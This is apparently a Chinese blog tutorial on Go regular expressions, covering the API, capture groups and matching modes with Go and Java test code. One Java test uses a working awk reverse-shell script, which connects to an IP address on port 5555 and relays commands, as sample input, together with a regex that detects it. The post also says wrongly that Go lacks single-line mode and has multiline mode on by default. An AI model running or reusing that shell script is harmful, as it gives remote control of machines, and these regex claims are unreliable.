Go 正则表达式学习

小巧的语言也有大用处。


正则表达式是用于处理文本的利器之一。正则表达式,可以看成是一种微型语言,用来识别文本模式。

  • 比如 \d+ 用来匹配一个或多个数字,比如 1, 123, 2147483987, ... ;
  • 比如 \s+ 用来匹配一个或多个空格;

简而言之,理论上,正则表达式可以用来表达和匹配任意复杂的字符串。更多例子,可以参考文末相关文章。

关于正则的基础知识及应用,之前写过几篇文章,读者可以阅读文后的相关资料作一基本了解。本文主要学习 Go 的正则。

正则表达式学习,可以分为四个子部分:

  • 正则 API ;
  • 正则语法 ;
  • 正则匹配策略;
  • 正则表达式的应用。

正则 API

第一个要学习的,就是 Go 正则 API。 API 是通往程序世界的第一把钥匙。

学习 API 的最简单方式,就是在电脑上敲下程序,然后看程序输出。根据 AI 给出的例子,自己加以改造和尝试,深化理解。

基础 API

import (
	"fmt"
	"regexp"
	"testing"
)

func TestGoRegex(t *testing.T) {

	// 创建一个新的正则表达式对象
	pattern := "^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$"
	r, err := regexp.Compile(pattern)
	if err != nil {
		fmt.Println(err)
	}
	fmt.Println(r.String())                      // ^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$
	fmt.Println(r.MatchString("qinshu@163.com")) // true

	// 创建原生字符串并查找字符串
	enclosedInt := regexp.MustCompile(`[\[{(]\d+[)}\]]`)
	matches := enclosedInt.FindAllString("(12) [34] {56}", -1)
	fmt.Println(matches) // [(12) [34] {56}]

	// 有限次数匹配
	matches2 := enclosedInt.FindAllString("(12) [34] {56}", 2)
	fmt.Println(matches2) // [(12) [34]]

	// 匹配的索引位置
	matchIndexes := enclosedInt.FindAllStringIndex("(12) [34] {56}", -1)
	fmt.Println(matchIndexes) // [[0 4] [5 9] [10 14]] 右边的索引位置是不包含的

	matchIndexes2 := enclosedInt.FindAllStringIndex("(12) [34] {56}", 2)
	fmt.Println(matchIndexes2) // [[0 4] [5 9]] 右边的索引位置是不包含的

	// 替代
	spacePattern := regexp.MustCompile(`\s+`)
	origin := "hello	world!  \n You get    champion!"
	replaced := spacePattern.ReplaceAllString(origin, " ")
	fmt.Println(replaced)
}

正则捕获

捕获并提取由正则表达式提取的文本,是日常开发常备的一个子任务。捕获需要通过 () 括起来的内容。比如 (\d+) 就会捕获 \d+ 匹配的文本。

func TestRegexCatch(t *testing.T) {
	input := "(12) [34] {56}"
	pattern := `\((\d+)\) \[(\d+)\] \{(\d+)\}`

	re := regexp.MustCompile(pattern)
	submatches := re.FindStringSubmatch(input)

	numbers := make([]string, 0)
	for i := 1; i < len(submatches); i++ {
		numbers = append(numbers, submatches[i])
	}

	fmt.Println("Captured numbers:", numbers)
}

正则反向引用

正则表达式中的反向引用是一种机制,它允许你在同一个正则表达式中引用先前已捕获的分组内容。捕获组是通过圆括号 () 定义的,当正则表达式引擎遇到捕获组并成功匹配其中的内容时,该内容会被记住并在后续匹配过程中被引用。引用的方式通常是通过反斜杠 \ 加上一个或多个数字,数字代表被捕获组的顺序(从左到右,从1开始计数)。

反向引用一般用来匹配成对的标签。比如,将 <标签>文本</标签> 中的文本提取出来,如下:

@Test
    public void testBackReference() {
        Pattern p = Pattern.compile("(?i)<([a-z][a-z0-9]*)[^>]*>(.*?)<\\/\\1>");
        Matcher match = p.matcher("<h1>我是大标题</h1>");
        if (match.find()) {
            System.out.println(match.group(2));
        }
    }

不过 Go 并不支持反向引用的语法。

正则语法

关于正则语法,最需要了解的是 POSIX 语法。见文末相关文章。

  • Go 的正则有反引号 ``, 可以创建原生字符串,不用像 Java 那样总要加两道斜杠,这样使得正则表达式更清晰。比如 java 版的 enclosedInt 得写成这样:
"[(\\[{]*\\d+[)\\]}]*"

如果有原生斜杠,还得再加两道斜杠。Go 只要写成

`[\[{(]\d+[)}\]]`

正则匹配策略

正则匹配有两种最常用的匹配策略:

Leftmost-First Match(最左优先匹配但非最长)

正则表达式匹配的一种策略,也称为“最左优先匹配”。在处理文本时,这种匹配策略会从目标文本的左侧开始搜索,一旦找到第一个能够满足正则表达式的子串,就立即停止进一步的搜索,并返回该匹配结果。即使可能存在更长的匹配子串,也会优先返回最先找到的匹配。

在正则表达式中通过在重复元字符后面添加 ? 来实现,如 *?+???。在这一策略下,引擎从左到右搜索,但在遇到重复元字符时,它会尽可能少地消耗文本,也就是说,只要满足匹配条件,它就会立即停止匹配更多的字符。

func TestRegexLeftMostFirstMatch(t *testing.T) {
	text := "abccc"
	re := regexp.MustCompile("ab(c)+?")
	matches := re.FindAllString(text, -1)
	fmt.Println(matches) // [abc]
}

Leftmost-Longest Match(最长/最左优先匹配)

也称为“贪心匹配”,这是许多正则表达式引擎(如Perl、Python、JavaScript、PHP、Java等)的默认匹配策略。在这种策略下,正则表达式引擎从左到右逐字符地搜索文本,一旦找到一个符合模式的匹配,它会选择最长可能的匹配,也就是说,对于重复元字符(如 *+?{m,n})它会尽可能多地消耗文本。

func TestRegexLeftMostLongestMatch(t *testing.T) {
	text := "abccc"
	re := regexp.MustCompile("ab(c)+")
	matches := re.FindAllString(text, -1)
	fmt.Println(matches) // [abccc]
}

此外,还有些特定匹配模式:

Anchored Matching(锚定匹配)

当正则表达式以 ^(开始位置)或 $(结束位置)等定位符开始或结束时,匹配只能在字符串的开始或结束处进行,这意味着匹配时强制考虑字符串的边界。

func TestRegexAnchorMatch(t *testing.T) {
	text := "abccc"
	re := regexp.MustCompile("^ab?c+$")
	matches := re.FindAllString(text, -1)
	fmt.Println(matches) // [abccc]

	re2 := regexp.MustCompile("^bc+$")
	nomatch := re2.FindAllString(text, -1)
	fmt.Println(nomatch) // []
}

Multiline Matching(多行匹配)

在多行模式下,正则表达式中的 ^$ 除了匹配字符串的开始和结束外,还可以匹配每一行的开始和结束。Java 通过 Pattern.MULTILINE 开启多行匹配模式。Go 默认支持多行模式。


func TestMultiLineMatch(t *testing.T) {
	text := `Line 1
start
Middle line 1
Middle line 2
end
Line 3`
	pattern := regexp.MustCompile(`start([\s\S]*?)end`)
	matches := pattern.MatchString(text)
	fmt.Println(matches) // true
}

func TestMultiLineMatch3(t *testing.T) {
	text := `start
Middle line 1
Middle line 2
end`
	pattern := regexp.MustCompile(`^start([\s\S]*?)end$`)
	matches := pattern.MatchString(text)
	fmt.Println(matches) // true
}

func TestMultiLineMatch2(t *testing.T) {
	text := `Line 1
start
Middle line 1
Middle line 2
end
Line 3`
	pattern := regexp.MustCompile(`^start([\s\S]*?)end$`)
	matches := pattern.MatchString(text)
	fmt.Println(matches) // false
}

Singleline Matching(单行匹配)

在单行模式下,. 元字符可以匹配包括换行符在内的所有字符(从而能把多行看做是单行来匹配),而在普通模式下,. 不匹配换行符。Java 通过 DOTALL 模式可以开启单行匹配模式。Go 不支持单行模式匹配。


@Test
public void testRegex() {

    String content = "#!/usr/bin/awk -f\n" +
            "\n" +
            "BEGIN{\n" +
            "    s=\"/inet/tcp/0/192.168.170.134/5555\";\n" +
            "    while(1){\n" +
            "        do{\n" +
            "            s|&getline c;\n" +
            "            if(c){\n" +
            "                while((c|&getline)>0)\n" +
            "                    print $0|&s;\n" +
            "                    close(c)\n" +
            "            }\n" +
            "        }\n" +
            "        while(c!=\"exit\");\n" +
            "        close(s)\n" +
            "    }\n" +
            "}";

    Pattern p = Pattern.compile("BEGIN\\s*\\{[\\s\\S]*\\/inet\\/tcp\\/[\\s\\S]*(for|while)[\\s\\S]*getline[\\s\\S]*while[\\s\\S]*getline");
    Assert.assertTrue(p.matcher(content).find());
    Assert.assertFalse(p.matcher(content).matches());
    Pattern p2 = Pattern.compile(".*BEGIN\\s*\\{.*\\/inet\\/tcp\\/.*(for|while).*getline.*while.*getline.*", Pattern.DOTALL);
    Assert.assertTrue(p2.matcher(content).find());
    Assert.assertTrue(p2.matcher(content).matches());
    Pattern p3 = Pattern.compile("BEGIN\\s*\\{.*\\/inet\\/tcp\\/.*(for|while).*getline.*while.*getline", Pattern.DOTALL);
    Assert.assertTrue(p3.matcher(content).find());
    Assert.assertFalse(p3.matcher(content).matches());

    Pattern ps = Pattern.compile(".*have.*dream.*", Pattern.DOTALL);
    String multiline = "i have \n" +
            "a dream\n";
    Assert.assertTrue(ps.matcher(multiline).find());
    Assert.assertTrue(ps.matcher(multiline).matches());
}

func TestNotSupportSingleLineMatch3(t *testing.T) {
	text := `start
Middle line 1
Middle line 2
end`
	pattern := regexp.MustCompile(`^start.*end$`)
	matches := pattern.MatchString(text)
	fmt.Println(matches) // false
}  

相关工具

许多工具都可以与正则表达式联用或者内置正则表达式搜索替换功能。

Sed & Awk

最知名的工具属 sed 和 awk 了。 sed 和 awk 是一个实用 linux 程序。通常,会根据正则表达式搜索到某些字符串模式,然后使用 sed 就地替换。比如如下命令,找到所有 java 文件,将 其中的 package algorithm.xxx; 替换成 package zzz.study.xxxx ; 将 import algorithm.xxx 替换成 import zzz.study.xxx。

find . -name "*.java" | xargs sed -r -i 's/(package|import) (algorithm|foundations|javatech|patterns|threadprogramming|datastructure|javagui|junitest3|testdata|utils)(.*)/\1 zzz.study.\2\3/'

而 awk 则本身就是一个模式匹配语言。

IDE

有很多 IDE 和编辑器也都支持使用正则表达式来查找和替换。比如 SublimeText, IDEA,或者 Goland。

相关文章

posted @ 2024-04-06 08:26  琴水玉  阅读(246)  评论(0编辑  收藏  举报